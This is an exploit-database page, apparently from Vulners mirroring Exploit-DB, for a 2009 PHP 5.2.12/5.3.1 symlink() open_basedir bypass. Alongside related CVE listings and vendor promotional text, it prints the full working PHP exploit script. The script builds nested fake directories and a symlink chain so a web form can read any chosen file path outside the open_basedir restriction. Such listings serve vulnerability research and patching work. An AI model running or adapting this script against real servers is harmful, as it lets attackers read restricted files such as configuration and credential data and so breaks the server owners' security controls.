PHP 5.2.12/5.3.1 - 'symlink()' open_basedir Bypass
🗓️ 19 Dec 2009 00:00:00Reported by Maksymilian ArciemowiczType
exploitdb🔗 www.exploit-db.com👁 85 Views
| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| php -- multiple vulnerabilities | 30 Aug 200700:00 | – | freebsd | |
| php -- open_basedir Race Condition Vulnerability | 2 Oct 200600:00 | – | freebsd | |
| CVE-2006-5178 | 19 Dec 200900:00 | – | circl | |
| CVE-2007-4652 | 19 Dec 200900:00 | – | circl | |
| CVE-2006-5178 | 6 Oct 200600:00 | – | cve | |
| CVE-2007-4652 | 4 Sep 200719:00 | – | cve | |
| CVE-2006-5178 | 6 Oct 200600:00 | – | cvelist | |
| CVE-2007-4652 | 4 Sep 200719:00 | – | cvelist | |
| EUVD-2006-5163 | 7 Oct 202500:30 | – | euvd | |
| EUVD-2007-4634 | 7 Oct 202500:30 | – | euvd |
10
<?php
/*
PHP 5.2.12/5.3.1 symlink() open_basedir bypass
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com
CHUJWAMWMUZG
*/
$fakedir="cx";
$fakedep=16;
$num=0; // offset of symlink.$num
if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";
echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a
href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs.
Author : Maksymilian Arciemowicz
<p>Script for legal use only.
<p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
<p>More: <a href="http://securityreason.com/">SecurityReason</a>
<p><form name="form"
action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';
if(empty($file))
exit;
if(!is_writable("."))
die("not writable directory");
$level=0;
for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}
while(1<$as--) chdir("..");
$hardstyle = explode("/", $file);
for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");
@rmdir("fakesymlink");
@unlink("fakesymlink");
@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
else $num++;
@unlink("fakesymlink");
mkdir("fakesymlink");
die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Dec 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.2
EPSS0.00678